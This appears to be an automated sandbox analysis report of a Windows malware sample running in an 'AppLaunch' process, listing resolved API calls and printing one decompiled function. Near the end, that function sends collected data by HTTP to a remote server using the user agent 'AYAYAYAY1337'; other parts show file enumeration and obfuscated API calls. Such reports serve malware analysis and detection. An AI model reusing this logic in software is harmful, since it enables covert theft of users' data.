Part of subcall function 00419B4E: RealDriveType.SHELL32(3D0203C8,00000000), ref: 00419BC4
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BCA
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BD0
Part of subcall function 00419B4E: RealDriveType.SHELL32(8F0B365C,00000000), ref: 00419BD9
Part of subcall function 00419B4E: RealDriveType.SHELL32(2856819B,00000000), ref: 00419BE2
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BE8
Part of subcall function 00419B4E: RealDriveType.SHELL32(D1C91AE1,00000000), ref: 00419BF1
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419BF7
Part of subcall function 00419B4E: RealDriveType.SHELL32(81693532,00000000), ref: 00419C00
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C06
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C0C
Part of subcall function 00419B4E: RealDriveType.SHELL32(E8F18F5C,00000000), ref: 00419C15
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C1B
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C21
Part of subcall function 00419B4E: RealDriveType.SHELL32(E902450C,00000000), ref: 00419C2A
Part of subcall function 00419B4E: RealDriveType.SHELL32(90A3CA22,00000000), ref: 00419C33
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C39
Part of subcall function 00419B4E: RealDriveType.SHELL32(093A69B5,00000000), ref: 00419C42

StrStrW.SHLWAPI(0000002F,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E7BA

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C48
Part of subcall function 00419B4E: RealDriveType.SHELL32(4F2F9935,00000000), ref: 00419C51
Part of subcall function 00419B4E: RealDriveType.SHELL32(0447F28C,00000000), ref: 00419C5A
Part of subcall function 00419B4E: RealDriveType.SHELL32(EE23359B,00000000), ref: 00419C63
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C69
Part of subcall function 00419B4E: RealDriveType.SHELL32(D989BAD6,00000000), ref: 00419C72
Part of subcall function 00419B4E: RealDriveType.SHELL32(1CF0C71B,00000000), ref: 00419C7B
Part of subcall function 00419B4E: lstrlenW.KERNEL32(00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 00419C7E
Part of subcall function 00419B4E: LocalAlloc.KERNELBASE(00000040,00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 00419C8E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419C9A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CA0
Part of subcall function 00419B4E: RealDriveType.SHELL32(462CC7D3,00000000), ref: 00419CA9
Part of subcall function 00419B4E: RealDriveType.SHELL32(234BE037,00000000), ref: 00419CB2
Part of subcall function 00419B4E: RealDriveType.SHELL32(A4D6ACB1,00000000), ref: 00419CBB
Part of subcall function 00419B4E: RealDriveType.SHELL32(48D1B2F5,00000000), ref: 00419CC4
Part of subcall function 00419B4E: RealDriveType.SHELL32(4B90ED69,00000000), ref: 00419CCD
Part of subcall function 00419B4E: RealDriveType.SHELL32(89C89DBC,00000000), ref: 00419CD6
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CDC
Part of subcall function 00419B4E: RealDriveType.SHELL32(BC35A942,00000000), ref: 00419CE5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419CEB
Part of subcall function 00419B4E: RealDriveType.SHELL32(DDCF0A61,00000000), ref: 00419CF4
Part of subcall function 00419B4E: RealDriveType.SHELL32(E4E5AE85,00000000), ref: 00419CFD
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D03
Part of subcall function 00419B4E: RealDriveType.SHELL32(448CA2B2,00000000), ref: 00419D0C
Part of subcall function 00419B4E: RealDriveType.SHELL32(67173F86,00000000), ref: 00419D15
Part of subcall function 00419B4E: RealDriveType.SHELL32(F63D3B4C,00000000), ref: 00419D1E
Part of subcall function 00419B4E: RealDriveType.SHELL32(753987CF,00000000), ref: 00419D27
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D2D
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D33
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D39
Part of subcall function 00419B4E: RealDriveType.SHELL32(91997886,00000000), ref: 00419D42
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D48
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D4E

StrStrW.SHLWAPI(00000002,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E7EC

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D54
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D5A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D60
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D66
Part of subcall function 00419B4E: RealDriveType.SHELL32(3BABE4BA,00000000), ref: 00419D6F
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D75
Part of subcall function 00419B4E: RealDriveType.SHELL32(2D008AD7,00000000), ref: 00419D7E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D84
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D8A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D90
Part of subcall function 00419B4E: RealDriveType.SHELL32(A11DFE8B,00000000), ref: 00419D99
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419D9F
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DD0
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DD6
Part of subcall function 00419B4E: RealDriveType.SHELL32(FACE207B,00000000), ref: 00419DDF
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DE5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419DEB
Part of subcall function 00419B4E: RealDriveType.SHELL32(D28289B7,00000000), ref: 00419DF4
Part of subcall function 00419B4E: RealDriveType.SHELL32(0EAC1263,00000000), ref: 00419DFD
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E03
Part of subcall function 00419B4E: RealDriveType.SHELL32(EA227221,00000000), ref: 00419E0C
Part of subcall function 00419B4E: RealDriveType.SHELL32(A90BEB86,00000000), ref: 00419E15
Part of subcall function 00419B4E: RealDriveType.SHELL32(EDD40E07,00000000), ref: 00419E1E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E24
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E2A
Part of subcall function 00419B4E: RealDriveType.SHELL32(130527F1,00000000), ref: 00419E33
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E39
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E3F

StrStrW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E821

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E45
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E4B
Part of subcall function 00419B4E: RealDriveType.SHELL32(3ED7E388,00000000), ref: 00419E54
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E5A
Part of subcall function 00419B4E: RealDriveType.SHELL32(5A47B4C0,00000000), ref: 00419E63
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E69
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E6F
Part of subcall function 00419B4E: RealDriveType.SHELL32(B0E0B450,00000000), ref: 00419E78
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E7E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E84
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E8A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419E90
Part of subcall function 00419B4E: RealDriveType.SHELL32(ED838CCA,00000000), ref: 00419E99
Part of subcall function 00419B4E: RealDriveType.SHELL32(72878FA1,00000000), ref: 00419EA2
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419EA8
Part of subcall function 00419B4E: RealDriveType.SHELL32(55765162,00000000), ref: 00419EB1
Part of subcall function 00419B4E: RealDriveType.SHELL32(980D59D6,00000000), ref: 00419EBA
Part of subcall function 00419B4E: RealDriveType.SHELL32(BC7B410D,00000000), ref: 00419EC3
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419EC9
Part of subcall function 00419B4E: RealDriveType.SHELL32(0ABC8BCF,00000000), ref: 00419ED2
Part of subcall function 00419B4E: StrCpyW.SHLWAPI(00000000,00000000), ref: 00419EE4
Part of subcall function 00419B4E: RealDriveType.SHELL32(B83DD4C3,00000000), ref: 00419EF6
Part of subcall function 00419B4E: RealDriveType.SHELL32(0C3D9681,00000000), ref: 00419EFF
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F05
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F0B
Part of subcall function 00419B4E: RealDriveType.SHELL32(CA93AD31,00000000), ref: 00419F14
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F1A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F20
Part of subcall function 00419B4E: RealDriveType.SHELL32(24D7B2B3,00000000), ref: 00419F29
Part of subcall function 00419B4E: RealDriveType.SHELL32(A30DBBF3,00000000), ref: 00419F32
Part of subcall function 00419B4E: RealDriveType.SHELL32(AEA3431A,00000000), ref: 00419F3B
Part of subcall function 00419B4E: RealDriveType.SHELL32(D755FC82,00000000), ref: 00419F44

StrStrW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E856

Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F4A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F50
Part of subcall function 00419B4E: RealDriveType.SHELL32(B190EFF0,00000000), ref: 00419F59
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F5F
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F65
Part of subcall function 00419B4E: RealDriveType.SHELL32(E1A60634,00000000), ref: 00419F6E
Part of subcall function 00419B4E: RealDriveType.SHELL32(366B8E14,00000000), ref: 00419F77
Part of subcall function 00419B4E: RealDriveType.SHELL32(40932F09,00000000), ref: 00419F80
Part of subcall function 00419B4E: RealDriveType.SHELL32(3DAE64CB,00000000), ref: 00419F89
Part of subcall function 00419B4E: RealDriveType.SHELL32(5AFAF68A,00000000), ref: 00419F92
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F98
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419F9E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FA4
Part of subcall function 00419B4E: RealDriveType.SHELL32(AC10EC3A,00000000), ref: 00419FAD
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FB3
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FB9
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FBF
Part of subcall function 00419B4E: RealDriveType.SHELL32(DF33BCFE,00000000), ref: 00419FC8
Part of subcall function 00419B4E: RealDriveType.SHELL32(34727096,00000000), ref: 00419FD1
Part of subcall function 00419B4E: RealDriveType.SHELL32(E0102DA0,00000000), ref: 00419FDA
Part of subcall function 00419B4E: RealDriveType.SHELL32(2D8740DB,00000000), ref: 00419FE3
Part of subcall function 00419B4E: RealDriveType.SHELL32(2EF133F2,00000000), ref: 00419FEC
Part of subcall function 00419B4E: RealDriveType.SHELL32(9F55DDDA,00000000), ref: 00419FF5
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 00419FFB
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A001
Part of subcall function 00419B4E: LocalFree.KERNEL32(00000000,?,00413B6C,00000000,00000000,?,?,?,?,0040E230), ref: 0041A008
Part of subcall function 00419B4E: RealDriveType.SHELL32(C7C58F7B,00000000), ref: 0041A016
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A01A
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A01E
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A022
Part of subcall function 00419B4E: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041A026
Part of subcall function 00419B4E: RealDriveType.SHELL32(2F8A0499,00000000), ref: 0041A02E

StrToIntW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E881
LocalAlloc.KERNEL32(00000040,0000020A), ref: 0041E898
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000000,00000000), ref: 0041E8A6
PathCombineW.SHLWAPI(00000000,00000000,?), ref: 0041E8B9
LocalAlloc.KERNELBASE(00000040,00002000), ref: 0041E8CB

Part of subcall function 0041EFCD: LocalAlloc.KERNEL32(00000040,0000020A,00000000,00000000,00000000), ref: 0041EFED
Part of subcall function 0041EFCD: StrCpyW.SHLWAPI(00000000,00000000), ref: 0041EFF7
Part of subcall function 0041EFCD: FindFirstFileW.KERNELBASE(00000000,?), ref: 0041F01B
Part of subcall function 0041EFCD: LocalAlloc.KERNEL32(00000040,0000020A), ref: 0041F072
Part of subcall function 0041EFCD: PathCombineW.SHLWAPI(00000000,00000000,0000002E), ref: 0041F081
Part of subcall function 0041EFCD: LocalFree.KERNEL32(00000000), ref: 0041F0A7
Part of subcall function 0041EFCD: FindNextFileW.KERNEL32(00000000,00000010), ref: 0041F2FD
Part of subcall function 0041EFCD: LocalFree.KERNEL32(?), ref: 0041F30F
Part of subcall function 0041EFCD: FindClose.KERNEL32(00000000), ref: 0041F316

LocalAlloc.KERNEL32(00000040,00000208), ref: 0041E8FE
LocalAlloc.KERNEL32(00000040,00000208), ref: 0041E909
StrCpyW.SHLWAPI(00000000), ref: 0041E927

Part of subcall function 0041AD76: RealDriveType.SHELL32(DB4B90B6,00000000), ref: 0041AD91
Part of subcall function 0041AD76: RealDriveType.SHELL32(F6C33797,00000000), ref: 0041AD9A
Part of subcall function 0041AD76: RealDriveType.SHELL32(B4FED3B4,00000000), ref: 0041ADA3
Part of subcall function 0041AD76: RealDriveType.SHELL32(E053CF6F,00000000), ref: 0041ADAC
Part of subcall function 0041AD76: RealDriveType.SHELL32(9F1C7DF3,00000000), ref: 0041ADB5
Part of subcall function 0041AD76: RealDriveType.SHELL32(798F4A1B,00000000), ref: 0041ADBE
Part of subcall function 0041AD76: RealDriveType.SHELL32(425CBB03,00000000), ref: 0041ADC7
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADD3
Part of subcall function 0041AD76: RealDriveType.SHELL32(EA97A208,00000000), ref: 0041ADDC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADE6
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADEC
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041ADF2
Part of subcall function 0041AD76: RealDriveType.SHELL32(DF46B1FA,00000000), ref: 0041ADFB
Part of subcall function 0041AD76: RealDriveType.SHELL32(EC90E4E7,00000000), ref: 0041AE08
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE12
Part of subcall function 0041AD76: RealDriveType.SHELL32(50B39D8C,00000000), ref: 0041AE1B
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE25
Part of subcall function 0041AD76: RealDriveType.SHELL32(CE8B1640,00000000), ref: 0041AE2E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE38
Part of subcall function 0041AD76: RealDriveType.SHELL32(01DAA5FB,00000000), ref: 0041AE41
Part of subcall function 0041AD76: RealDriveType.SHELL32(C79127D6,00000000), ref: 0041AE4E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE58
Part of subcall function 0041AD76: RealDriveType.SHELL32(6B26D139,00000000), ref: 0041AE61
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE6B
Part of subcall function 0041AD76: RealDriveType.SHELL32(E9760AD3,00000000), ref: 0041AE74
Part of subcall function 0041AD76: RealDriveType.SHELL32(2BEFB636,00000000), ref: 0041AE81
Part of subcall function 0041AD76: RealDriveType.SHELL32(04751878,00000000), ref: 0041AE8E
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE98
Part of subcall function 0041AD76: PathIsSlowW.SHELL32(00000000,00000000), ref: 0041AE9E

Part of subcall function 00413A99: LocalAlloc.KERNELBASE(00000040,0000FF78,00000000,0040AD5E), ref: 00413AA3

LocalAlloc.KERNEL32(00000040,00000184), ref: 0041E958
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0041E96F
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000000,00000000), ref: 0041E988

Part of subcall function 004133D0: LocalAlloc.KERNELBASE(00000040,0000C350,?,00000000,00000001,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?), ref: 004133E5
Part of subcall function 004133D0: LocalAlloc.KERNEL32(00000040,00000208,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?,?), ref: 004133F7
Part of subcall function 004133D0: StrStrW.SHLWAPI(004101AD,?,?,?,?,?,0041550A,00000001,?,00000000,00000000,?,?), ref: 0041343C
Part of subcall function 004133D0: lstrlenW.KERNEL32(00000000,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 0041346E
Part of subcall function 004133D0: LocalAlloc.KERNELBASE(00000040,?,?,?,?,?,?,0041550A,00000001,?,00000000), ref: 00413485

LocalFree.KERNEL32(00000000), ref: 0041E9B7
LocalFree.KERNEL32(?), ref: 0041E9C0
LocalFree.KERNEL32(?), ref: 0041E9C9
LocalFree.KERNEL32(?), ref: 0041E9D2
LocalFree.KERNEL32(?), ref: 0041E9DE
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E9E5
LocalFree.KERNEL32(00410EDD,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E9EE
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041E9F7
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041EA00
LocalFree.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041EA09
LocalFree.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041EA12
StrStrW.SHLWAPI(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041EA25
LocalFree.KERNEL32(00410EDD,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041EA3D
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041EA46
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041EA4F
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041EA58
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00410EDD), ref: 0041EA61

Memory Dump Source

Source File: 00000003.00000002.264339617.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.264331177.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264363170.0000000000420000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264369046.0000000000423000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.264375615.0000000000424000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_AppLaunch.jbxd

Similarity

API ID: DriveRealType$Path$Slow$Local$Free$Alloc$lstrlen$Find$ByteCharCombineFileMultiWide$CloseFirstFolderNextSpecial
String ID:
API String ID: 2075554234-0
Opcode ID: 8b46476ad0b014ef94fc92ae60f252a57313aa9f6da733dfd2b37269e267bcc0
Instruction ID: 72721c5c9132899199df5d5084e787a705efdef26a6e3b85fa31ac62ae25940f
Opcode Fuzzy Hash: 8b46476ad0b014ef94fc92ae60f252a57313aa9f6da733dfd2b37269e267bcc0
Instruction Fuzzy Hash: E7B18471B00205BFDB119FA5DD49DAEBBB9FF48712B500469FA05E32A0DB395E01CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00413181 Relevance: 47.5, APIs: 25, Strings: 2, Instructions: 207
networkstringmemoryCOMMON

Download Yara Rule

C-Code - Quality: 83%

			E00413181(WCHAR* __ecx, short* _a4, WCHAR* _a8, LPCWSTR* _a12) {
				signed int _v8;
				void* _v12;
				long _v16;
				void* _v20;
				intOrPtr _v24;
				WCHAR* _v28;
				void* _v32;
				void* _t46;
				void* _t49;
				WCHAR* _t51;
				signed int _t52;
				char* _t57;
				void* _t58;
				short* _t66;
				void* _t75;
				void* _t79;
				long _t81;
				int _t83;
				int _t86;
				long _t87;
				void* _t89;
				WCHAR* _t90;
				void* _t92;
				int _t94;
				short* _t95;
				signed int _t97;
				void* _t99;
				void* _t100;
				intOrPtr _t101;
				void* _t103;
				WCHAR* _t104;
				signed short* _t105;
				int _t106;
				long _t107;
				void* _t109;

				_v8 = _v8 & 0x00000000;
				_t104 = __ecx; // executed
				_t46 = LocalAlloc(0x40, 0xc350); // executed
				_t103 = _t46;
				_t90 = LocalAlloc(0x40, 0x208);
				_v20 = _t90;
				if( *_t104 != 0x68) {
					L24:
					return 0;
				}
				_t49 = 0x74;
				if(_t104[1] != _t49 || _t104[2] != _t49 || _t104[3] != 0x70) {
					goto L24;
				} else {
					_v16 = _t104[4] & 0x0000ffff;
					_t51 = StrStrW(_t104,  *0x4234c4);
					_v12 = 0x2f;
					_t100 = 0;
					_t10 =  &(_t51[3]); // 0x6
					_t105 = _t10;
					_t52 =  *_t105 & 0x0000ffff;
					_t97 = _t52;
					if(_t52 == _v12) {
						L7:
						_v28 =  &(_t105[lstrlenW(_t90)]);
						_t106 = WideCharToMultiByte(0xfde9, 0, _a4, 0xffffffff, 0, 0, 0, 0);
						_t20 = _t106 + 0x40; // 0x40
						_t57 = LocalAlloc(0x40, _t20);
						_v12 = _t57;
						if(_t106 == 0 || WideCharToMultiByte(0xfde9, 0, _a4, 0xffffffff, _t57, _t106, 0, 0) != 0) {
							_t58 = InternetOpenW(L"AYAYAYAY1337", 0, 0, 0, 0); // executed
							_t92 = _t58;
							if(_t92 == 0) {
								L20:
								_t94 = MultiByteToWideChar(0xfde9, 0, _t103, lstrlenA(_t103) + 1, 0, 0);
								if(_t94 == 0) {
									_t95 = _v8;
								} else {
									_t107 = _t94 + _t94;
									_t66 = LocalAlloc(0x40, _t107); // executed
									_v8 = _t66;
									MultiByteToWideChar(0xfde9, 0, _t103, lstrlenA(_t103) + 1, _t66, _t94);
									_t95 = _v8;
									 *((short*)(_t107 + _t95 - 2)) = 0;
								}
								LocalFree(_v12);
								LocalFree(_v20);
								LocalFree(_t103); // executed
								return _t95;
							}
							_push(1);
							_push(0);
							_push(3);
							_push(0);
							_push(0);
							_push(0x50);
							_t101 = 0x73;
							_v24 = _t101;
							_t73 =  ==  ? 0x1bb : 0;
							_t74 = ( ==  ? 0x1bb : 0) & 0x0000ffff;
							_t75 = InternetConnectW(_t92, _v20, ( ==  ? 0x1bb : 0) & 0x0000ffff, ??, ??, ??, ??, ??); // executed
							_t99 = _t75;
							_v32 = _t99;
							if(_t99 == 0) {
								L19:
								InternetCloseHandle(_t92);
								goto L20;
							}
							_t78 =  ==  ? 0xc00000 : 0x400000;
							_t79 = HttpOpenRequestW(_t99,  *0x423294, _v28, 0, 0, _a12,  ==  ? 0xc00000 : 0x400000, 1); // executed
							_t109 = _t79;
							if(_t109 == 0) {
								L18:
								InternetCloseHandle(_v32);
								goto L19;
							}
							_t81 = lstrlenA(_v12);
							_t83 = HttpSendRequestW(_t109, _a8, lstrlenW(_a8), _v12, _t81); // executed
							if(_t83 == 0) {
								L17:
								InternetCloseHandle(_t109); // executed
								goto L18;
							}
							while(1) {
								_t86 = InternetReadFile(_t109, _t103, 0xc350,  &_v16); // executed
								if(_t86 == 0) {
									goto L17;
								}
								_t87 = _v16;
								if(_t87 == 0) {
									goto L17;
								}
								 *((char*)(_t87 + _t103)) = 0;
							}
							goto L17;
						} else {
							goto L24;
						}
					}
					_t89 = 0;
					do {
						_t100 = _t100 + 1;
						 *(_t89 + _t90) = _t97;
						_t89 = _t100 + _t100;
						_t97 =  *(_t89 + _t105) & 0x0000ffff;
					} while (_t97 != _v12);
					goto L7;
				}
			}

0x00413187
0x00413195
0x00413197
0x004131a4
0x004131b0
0x004131b2
0x004131b5
0x004133c9
0x00000000
0x004133c9
0x004131bd
0x004131c2
0x00000000
0x004131dd
0x004131e8
0x004131eb
0x004131f1
0x004131f8
0x004131fa
0x004131fa
0x004131fd
0x00413200
0x00413206
0x0041321c
0x00413237
0x00413240
0x00413242
0x00413248
0x0041324e
0x00413253
0x0041327b
0x00413281
0x00413285
0x00413355
0x0041336f
0x00413373
0x004133a9
0x00413375
0x00413375
0x0041337b
0x00413384
0x00413397
0x0041339d
0x004133a2
0x004133a2
0x004133af
0x004133b8
0x004133bf
0x00000000
0x004133c5
0x00413290
0x00413292
0x00413293
0x00413295
0x00413296
0x00413297
0x0041329c
0x004132a0
0x004132a8
0x004132ab
0x004132b3
0x004132b9
0x004132bb
0x004132c0
0x0041334e
0x0041334f
0x00000000
0x0041334f
0x004132d6
0x004132eb
0x004132f1
0x004132f5
0x00413345
0x00413348
0x00000000
0x00413348
0x004132fa
0x00413312
0x0041331a
0x0041333e
0x0041333f
0x00000000
0x0041333f
0x00413329
0x00413334
0x0041333c
0x00000000
0x00000000
0x0041331e
0x00413323
0x00000000
0x00000000
0x00413325
0x00413325
0x00000000
0x00000000
0x00000000
0x00000000
0x00413253
0x00413208
0x0041320a
0x0041320a
0x0041320b
0x0041320f
0x00413212
0x00413216
0x00000000
0x0041320a

APIs

LocalAlloc.KERNELBASE(00000040,0000C350,00000000,00000000,00000000,0040C92C,?,?,?), ref: 00413197
LocalAlloc.KERNEL32(00000040,00000208), ref: 004131A6
StrStrW.SHLWAPI(00000000), ref: 004131EB
lstrlenW.KERNEL32(00000000), ref: 0041321D
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,0000002F,000000FF,00000000,00000000,00000000,00000000), ref: 0041323A
LocalAlloc.KERNEL32(00000040,00000040), ref: 00413248
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,0000002F,000000FF,00000000,00000000,00000000,00000000), ref: 00413264
InternetOpenW.WININET(AYAYAYAY1337,00000000,00000000,00000000,00000000), ref: 0041327B
InternetConnectW.WININET(00000000,00000001,?,00000000,00000000,00000003,00000000,00000001), ref: 004132B3
HttpOpenRequestW.WININET(00000000,00000001,00000000,00000000,00000001,00400000,00000001), ref: 004132EB
lstrlenA.KERNEL32(0000002F), ref: 004132FA
lstrlenW.KERNEL32(?,0000002F,00000000), ref: 00413307
HttpSendRequestW.WININET(00000000,?,00000000), ref: 00413312
InternetReadFile.WININET(00000000,00000000,0000C350,?), ref: 00413334
InternetCloseHandle.WININET(00000000), ref: 0041333F
InternetCloseHandle.WININET(?), ref: 00413348
InternetCloseHandle.WININET(00000000), ref: 0041334F
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 0041335A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 00413369
LocalAlloc.KERNELBASE(00000040,00000000), ref: 0041337B
lstrlenA.KERNEL32(00000000,00000000,00000000), ref: 00413387
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000001), ref: 00413397
LocalFree.KERNEL32(0000002F), ref: 004133AF
